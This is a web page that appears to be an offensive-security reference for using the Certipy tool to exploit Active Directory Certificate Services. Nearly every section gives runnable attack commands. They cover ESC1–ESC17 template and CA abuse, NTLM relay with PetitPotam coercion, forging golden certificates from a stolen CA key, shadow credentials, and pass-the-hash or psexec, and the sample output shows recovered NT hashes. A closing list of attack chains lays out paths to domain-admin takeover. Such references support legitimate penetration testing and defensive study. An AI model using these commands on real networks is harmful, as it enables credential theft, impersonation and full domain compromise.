# Certipy ADCS Exploitation Reference

> Exploit Active Directory Certificate Services misconfigurations using Certipy; covers ESC1-ESC8 attack paths, certificate theft, and credential extraction.

- **URL:** https://hackindex.io/platforms/active-directory/exploitation/certipy-adcs-exploitation-reference
- **Path:** Active Directory > Exploitation
- **Up:** [Exploitation](https://hackindex.io/platforms/active-directory/exploitation.md)
- **Published:** 2026-09-11
- **Updated:** 2026-09-11

Certipy is a Python tool for enumerating and exploiting Active Directory Certificate Services (AD CS) misconfigurations. It identifies vulnerable certificate templates (ESC1 through ESC17), requests and forges certificates, authenticates via PKINIT or Schannel, relays NTLM to enrollment endpoints, manipulates shadow credentials, and extracts CA private keys for golden certificate attacks. Runs from a Linux attacker host.

## Install

Install via pipx. The PyPI package is `certipy-ad` (not `certipy`, which is an unrelated package).

```bash
pipx install certipy-ad
```

## Authentication Methods

All Certipy subcommands accept the same credential options. Username format is `user@domain` or `domain/user`.

**Certipy authentication options**

```bash
# Cleartext password
certipy find -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP

# Pass-the-hash
certipy find -u '$USER@$DOMAIN' -hashes :$NTHASH -dc-ip $TARGET_IP

# Kerberos ticket (ccache from KRB5CCNAME)
export KRB5CCNAME=$USER.ccache
certipy find -u '$USER@$DOMAIN' -k -dc-ip $TARGET_IP

# AES key
certipy find -u '$USER@$DOMAIN' -aes $AES_KEY -dc-ip $TARGET_IP
```

## Placeholders Used Here

- `$DOMAIN` - FQDN, e.g. `corp.local`.
- `$USER` / `$PASSWORD` - current foothold account credentials.
- `$NTHASH` - NT hash of `$USER`.
- `$TARGET_IP` - DC IP address.
- `$CA` - CA name as shown by `certipy find`, e.g. `CORP-CA`.
- `$CA_HOST` - CA server hostname, e.g. `ca01.corp.local`.
- `$TARGET_USER` - sAMAccountName or UPN of account to impersonate.
- `$LHOST` - attacker IP.

## Enumeration (find)

`certipy find` enumerates all CAs, certificate templates, enrollment permissions, and web enrollment endpoints. It flags vulnerable templates as ESC1 through ESC17. Always run this first. Use `-vulnerable` to show only exploitable findings, `-enabled` to hide disabled templates.

**certipy find**

```bash
# Full enumeration
certipy find -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP

# Only vulnerable and enabled templates
certipy find -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -vulnerable -enabled -stdout

# JSON output for scripting
certipy find -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -json

# Hide admin-only templates
certipy find -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -vulnerable -enabled -hide-admins -stdout
# Certificate Authorities
#   0
#     CA Name                  : CORP-CA
#     DNS Name                 : ca01.corp.local
#     Web Enrollment           : Enabled (HTTP)
#     Certificate Subject      : CN=CORP-CA, DC=corp, DC=local
#     [!] Vulnerabilities
#       ESC8 : Web Enrollment is enabled over HTTP
#
# Certificate Templates
#   0
#     Template Name            : VulnTemplate
#     Enabled                  : True
#     Client Authentication    : True
#     Enrollee Supplies Subject : True
#     [!] Vulnerabilities
#       ESC1 : Enrollee supplies subject and template allows client authentication
```

## Certificate Authentication (auth)

`certipy auth` authenticates with a PFX certificate via PKINIT. Returns a TGT and the account's NT hash (via U2U). Use `-ldap-shell` for Schannel-based LDAP authentication instead when PKINIT fails.

**certipy auth**

```bash
# PKINIT authentication (default), get TGT + NT hash
certipy auth -pfx administrator.pfx -dc-ip $TARGET_IP

# Schannel/LDAP shell (when PKINIT is blocked or unavailable)
certipy auth -pfx administrator.pfx -dc-ip $TARGET_IP -ldap-shell

# Use the recovered TGT
export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass dc01.$DOMAIN

# Use the recovered NT hash
nxc smb $TARGET_IP -u Administrator -H $NTHASH -d $DOMAIN
# [*] Using principal: administrator@corp.local
# [*] Trying to get TGT...
# [*] Got TGT
# [*] Saved credential cache to 'administrator.ccache'
# [*] Trying to retrieve NT hash for 'administrator'
# [*] Got hash for 'administrator@corp.local': aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889
```

## ESC1: Enrollee Supplies Subject

Template allows low-privileged users to specify an arbitrary Subject Alternative Name (UPN or SID) in the certificate request, with Client Authentication EKU enabled. Request a certificate as any user, then authenticate with it.

Conditions: `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` set, Client Authentication EKU, low-privileged enrollment rights, no manager approval, no authorized signatures required.

**ESC1 exploitation**

```bash
# Request certificate with Administrator UPN
certipy req -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -target $CA_HOST -ca $CA -template VulnTemplate -upn 'administrator@$DOMAIN'

# Authenticate with the certificate
certipy auth -pfx administrator.pfx -dc-ip $TARGET_IP
# [*] Requesting certificate via RPC
# [*] Successfully requested certificate
# [*] Request ID is 42
# [*] Got certificate with UPN 'administrator@corp.local'
# [*] Certificate has no object SID
# [*] Saved certificate and private key to 'administrator.pfx'
```

## ESC2: Any Purpose EKU

Template with "Any Purpose" EKU (OID 2.5.29.37.0) or no EKU at all. The certificate acts as a Certificate Request Agent, allowing enrollment on behalf of other users (chain into ESC3 flow).

**ESC2 exploitation**

```bash
# Get an Any Purpose certificate
certipy req -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -target $CA_HOST -ca $CA -template AnyPurposeTemplate

# Use it to request on behalf of Administrator
certipy req -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -target $CA_HOST -ca $CA -template User -pfx attacker.pfx -on-behalf-of '$DOMAIN\Administrator'

# Authenticate
certipy auth -pfx administrator.pfx -dc-ip $TARGET_IP
```

## ESC3: Enrollment Agent

Template with Certificate Request Agent EKU (OID 1.3.6.1.4.1.311.20.2.1) allows low-privileged users to request certificates on behalf of other users. Same exploitation flow as ESC2.

**ESC3 exploitation**

```bash
# Get enrollment agent certificate
certipy req -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -target $CA_HOST -ca $CA -template EnrollmentAgentTemplate

# Request certificate on behalf of Administrator
certipy req -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -target $CA_HOST -ca $CA -template User -pfx attacker.pfx -on-behalf-of '$DOMAIN\Administrator'

# Authenticate
certipy auth -pfx administrator.pfx -dc-ip $TARGET_IP
```

## ESC4: Template ACL Abuse

Write permissions (GenericAll, WriteDACL, WriteOwner, WriteProperty) on a certificate template AD object allow modifying it to become ESC1-vulnerable. Save the original configuration, weaponize, exploit, then restore.

**ESC4 exploitation**

```bash
# Backup the original template
certipy template -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -template SecureTemplate -save-configuration backup.json

# Weaponize: apply ESC1-vulnerable configuration
certipy template -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -template SecureTemplate -write-default-configuration

# Exploit as ESC1
certipy req -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -target $CA_HOST -ca $CA -template SecureTemplate -upn 'administrator@$DOMAIN'
certipy auth -pfx administrator.pfx -dc-ip $TARGET_IP

# Restore original template
certipy template -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -template SecureTemplate -write-configuration backup.json -no-save
```

## ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2

CA has the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag enabled, allowing any requester to specify a SAN through request attributes, bypassing template restrictions. Exploitable when combined with ESC9 (template without security extension) or ESC16 (CA disables security extension globally).

**ESC6 exploitation (requires ESC9 or ESC16 combo)**

```bash
# Request with arbitrary UPN on a template flagged ESC9/ESC16
certipy req -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -target $CA_HOST -ca $CA -template ESC9Template -upn 'administrator@$DOMAIN'

# Authenticate
certipy auth -pfx administrator.pfx -dc-ip $TARGET_IP
```

## ESC7: CA Permission Abuse

Attacker with ManageCa or ManageCertificates rights on the CA can enable vulnerable templates, approve pending requests, and add themselves as officer. The classic flow: enable SubCA template, request a cert with a SAN, approve your own pending request, retrieve it.

**ESC7 exploitation**

```bash
# If you have ManageCa: add yourself as officer first
certipy ca -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -ca $CA -add-officer $USER

# Enable the SubCA template
certipy ca -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -ca $CA -enable-template SubCA

# Request a cert with Administrator UPN (will be denied/pending)
certipy req -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -target $CA_HOST -ca $CA -template SubCA -upn 'administrator@$DOMAIN'

# Approve the pending request (note the request ID from previous output)
certipy ca -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -ca $CA -issue-request 42

# Retrieve the issued certificate
certipy req -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -target $CA_HOST -ca $CA -retrieve 42

# Authenticate
certipy auth -pfx administrator.pfx -dc-ip $TARGET_IP
```

## ESC8: NTLM Relay to Web Enrollment

AD CS Web Enrollment is accessible over HTTP (or HTTPS without channel binding). Relay NTLM authentication from a coerced machine account (PetitPotam, PrinterBug) to the enrollment endpoint to obtain a certificate as that machine. Works best against DC machine accounts for DCSync via PKINIT.

**ESC8 exploitation**

```bash
# Start Certipy relay listener
certipy relay -target http://$CA_HOST -template DomainController

# In another terminal: coerce DC authentication to your listener
python3 PetitPotam.py $LHOST $TARGET_IP -u $USER -p $PASSWORD -d $DOMAIN

# Certipy catches the relay, requests a cert as the DC machine account
# Authenticate with the DC certificate
certipy auth -pfx dc01.pfx -dc-ip $TARGET_IP
# [*] Targets:
#     - http://ca01.corp.local
# [*] Listening on 0.0.0.0:445
# [*] SMBD: Received connection from 10.0.0.100
# [*] Requesting certificate via HTTP for DC01$
# [*] Got certificate with DNS 'dc01.corp.local'
# [*] Saved certificate and private key to 'dc01.pfx'
```

## ESC9: No Security Extension on Template

Template is configured with `CT_FLAG_NO_SECURITY_EXTENSION`, meaning issued certificates do not contain the SID security extension (OID 1.3.6.1.4.1.311.25.2). The KDC falls back to SAN-based identity mapping, which combined with ESC6 (SAN specification allowed) enables impersonation.

**ESC9 exploitation (requires ESC6 combo)**

```bash
# Request with arbitrary UPN (ESC6 CA allows SAN specification)
certipy req -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -target $CA_HOST -ca $CA -template NoSecExtTemplate -upn 'administrator@$DOMAIN'

# Authenticate (no SID in cert, KDC uses UPN mapping)
certipy auth -pfx administrator.pfx -dc-ip $TARGET_IP
```

## ESC11: NTLM Relay to RPC Enrollment

CA does not enforce encryption for ICPR (RPC) certificate requests (`IF_ENFORCEENCRYPTICERTREQUEST` disabled). NTLM relay to the RPC endpoint instead of HTTP. Same coercion flow as ESC8 but targets RPC instead of web enrollment.

**ESC11 exploitation**

```bash
# Start Certipy relay targeting RPC
certipy relay -target rpc://$CA_HOST -ca $CA

# Coerce authentication (separate terminal)
python3 PetitPotam.py $LHOST $TARGET_IP -u $USER -p $PASSWORD -d $DOMAIN

# Authenticate with obtained certificate
certipy auth -pfx dc01.pfx -dc-ip $TARGET_IP
```

## ESC13: Issuance Policy Linked to Group

Template with Client Authentication EKU has an issuance policy OID that is linked to an AD group via `msDS-OIDToGroupLink`. Enrolling in this template effectively grants membership in that group through the certificate's policy. If the linked group is privileged, this is a direct escalation.

**ESC13 exploitation**

```bash
# Find identifies the linked group
certipy find -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -vulnerable -stdout

# Request the certificate with the policy-linked template
certipy req -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -target $CA_HOST -ca $CA -template PolicyLinkedTemplate

# Authenticate: the TGT's PAC includes the linked group membership
certipy auth -pfx $USER.pfx -dc-ip $TARGET_IP
```

## ESC15: Schema Version 1 Enrollee Subject (CVE-2024-49019)

Schema Version 1 templates with `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` bypass Microsoft's post-patch enforcement of the SID security extension. The patch only applies to schema v2+ templates, so v1 templates remain exploitable like pre-patch ESC1.

**ESC15 exploitation**

```bash
# Same as ESC1 but targeting a schema v1 template
certipy req -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -target $CA_HOST -ca $CA -template SchemaV1Template -upn 'administrator@$DOMAIN'

certipy auth -pfx administrator.pfx -dc-ip $TARGET_IP
```

## ESC16: Security Extension Disabled on CA

CA globally disables the SID security extension (OID 1.3.6.1.4.1.311.25.2) in issued certificates. Combined with ESC6 (SAN specification allowed), the KDC uses SAN-based mapping, enabling impersonation. Same exploitation as ESC9 but the cause is CA-level instead of template-level.

**ESC16 exploitation (requires ESC6 combo)**

```bash
certipy req -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -target $CA_HOST -ca $CA -template UserTemplate -upn 'administrator@$DOMAIN'

certipy auth -pfx administrator.pfx -dc-ip $TARGET_IP
```

## ESC17: Server Authentication Enrollee Subject

Template allows enrollee-supplied subject with Server Authentication EKU. Does not enable direct PKINIT user impersonation, but the certificate can be abused for Schannel, LDAPS relay, or TLS interception.

**ESC17 exploitation**

```bash
# Request with target server's DNS name
certipy req -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -target $CA_HOST -ca $CA -template ServerTemplate -dns 'dc01.$DOMAIN'

# Use for Schannel/LDAPS authentication
certipy auth -pfx dc01.pfx -dc-ip $TARGET_IP -ldap-shell
```

## ESC Techniques Not Detected by Certipy

Some ESC techniques require manual identification:

- **ESC5**: weak ACLs on PKI AD objects (NTAuthCertificates, AIA, CDP containers). Check with BloodHound or `Get-Acl` in PowerShell.
- **ESC10**: weak certificate mapping on DCs. Check registry keys `StrongCertificateBindingEnforcement` and `CertificateMappingMethods` on DCs.
- **ESC12**: CA private key stored in extractable form. Use `certipy ca -backup` when you have admin access to the CA server.
- **ESC14**: weak explicit certificate mappings in `altSecurityIdentities` attributes. Inspect via LDAP.

## Golden Certificate (forge)

With the CA private key (from `ca -backup` or extracted from the CA server), forge a certificate for any domain user. Golden certificates persist as long as the CA key is valid, which can be years. No interaction with the CA needed after extracting the key.

**CA key backup + golden certificate**

```bash
# Backup the CA private key (requires admin on CA server)
certipy ca -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -ca $CA -backup

# Forge a certificate for Administrator
certipy forge -ca-pfx ca.pfx -upn 'administrator@$DOMAIN' -crl 'ldap:///' -subject 'CN=Administrator,CN=Users,DC=corp,DC=local'

# Authenticate with forged certificate
certipy auth -pfx administrator_forged.pfx -dc-ip $TARGET_IP
# [*] Saved CA certificate and key to 'ca.pfx'
```

## Shadow Credentials

`certipy shadow` manipulates the `msDS-KeyCredentialLink` attribute on a target account to add a key credential, then authenticates via PKINIT to recover the account's NT hash. `auto` mode does everything in one command: add credential, authenticate, get hash, clean up.

**certipy shadow**

```bash
# Auto mode: full attack chain in one command
certipy shadow auto -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -account $TARGET_USER

# Manual: add key credential
certipy shadow add -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -account $TARGET_USER

# Authenticate with the shadow credential certificate
certipy auth -pfx $TARGET_USER.pfx -dc-ip $TARGET_IP

# List key credentials
certipy shadow list -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -account $TARGET_USER

# Remove specific credential by device ID
certipy shadow remove -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -account $TARGET_USER -device-id <DEVICE_ID>

# Clear all key credentials
certipy shadow clear -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -account $TARGET_USER
# [*] Targeting user '$TARGET_USER'
# [*] Generating certificate
# [*] Certificate generated
# [*] Generating Key Credential
# [*] Key Credential generated with DeviceID '1a2b3c4d-...
# [*] Adding Key Credential with DeviceID '1a2b3c4d-...' to the target
# [*] Successfully added Key Credential
# [*] Authenticating as '$TARGET_USER' via PKINIT
# [*] Got hash for '$TARGET_USER': aad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889
# [*] Restoring the old Key Credential for '$TARGET_USER'
```

## Account Management

`certipy account` creates, reads, updates, and deletes machine accounts. Useful for creating a controlled computer account for RBCD abuse or when you need a machine account to request specific templates.

**certipy account**

```bash
# Create a new machine account
certipy account create -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -user 'ATTACKER$' -dns attacker.$DOMAIN

# Read account attributes
certipy account read -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -user 'ATTACKER$'

# Update DNS hostname
certipy account update -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -user 'ATTACKER$' -dns newname.$DOMAIN

# Delete the account
certipy account delete -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -user 'ATTACKER$'
```

## Certificate Manipulation (cert)

`certipy cert` converts between certificate formats (PFX, PEM, DER), extracts keys, and imports certificates. Useful when you need to convert between formats for different tools.

**certipy cert**

```bash
# Extract PEM key and certificate from PFX
certipy cert -pfx administrator.pfx -nokey -out cert.pem
certipy cert -pfx administrator.pfx -nocert -out key.pem

# Create PFX from separate PEM key and cert
certipy cert -key key.pem -cert cert.pem -export -out combined.pfx

# Create PFX with custom password
certipy cert -key key.pem -cert cert.pem -export -out combined.pfx -export-password 'pfxpass'
```

## Certificate Request Options

Beyond the ESC-specific flags, `certipy req` supports alternate enrollment methods and advanced options.

**certipy req advanced options**

```bash
# Request via Web Enrollment (HTTP)
certipy req -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -target $CA_HOST -ca $CA -template User -web

# Request via DCOM
certipy req -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -target $CA_HOST -ca $CA -template User -dcom

# Retrieve a pending certificate by request ID
certipy req -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -target $CA_HOST -ca $CA -retrieve 42

# Renew an existing certificate
certipy req -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -target $CA_HOST -ca $CA -template User -pfx old.pfx -renew

# Request with specific SID in SAN (stronger mapping)
certipy req -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET_IP -target $CA_HOST -ca $CA -template VulnTemplate -upn 'administrator@$DOMAIN' -sid 'S-1-5-21-...-500'
```

## Common Attack Chains

- **Quick domain admin (ESC1)**: `find -vulnerable` to identify, `req -template X -upn administrator@domain` to get cert, `auth -pfx` to get TGT + hash, then psexec/pass-the-hash.
- **NTLM relay to DC cert (ESC8)**: `relay -target http://CA` listener, coerce DC with PetitPotam, `auth -pfx dc01.pfx` to get DC machine hash, then DCSync with secretsdump.
- **Template takeover (ESC4)**: `template -save-configuration` backup, `template -write-default-configuration` weaponize, exploit as ESC1, `template -write-configuration` restore.
- **CA admin abuse (ESC7)**: `ca -add-officer` + `ca -enable-template SubCA`, request with SAN, `ca -issue-request` approve, `req -retrieve` collect.
- **Golden certificate persistence**: `ca -backup` to extract CA key, `forge -ca-pfx ca.pfx -upn admin@domain` any time you need a cert, valid for years without touching the CA.
- **Shadow credential takeover**: `shadow auto -account target` for one-shot key credential add + PKINIT + hash recovery + cleanup.

## References

- [Certipy (GitHub)](https://github.com/ly4k/Certipy) - AD CS enumeration and exploitation tool. Covers ESC1-ESC17, certificate forgery, shadow credentials, relay.
- [Certified Pre-Owned (SpecterOps)](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf) - Original SpecterOps whitepaper defining ESC1-ESC8 and the AD CS attack surface.
- [Certipy 4.0 (ly4k)](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88571f7) - Certipy 4.0 release covering ESC9, ESC10, and new authentication methods.
- [ADCS ESC13 (SpecterOps)](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53) - ESC13 issuance policy group link abuse research.
- [Certify (GhostPack)](https://github.com/GhostPack/Certify) - C# AD CS enumeration tool (Windows-side alternative to Certipy for enumeration).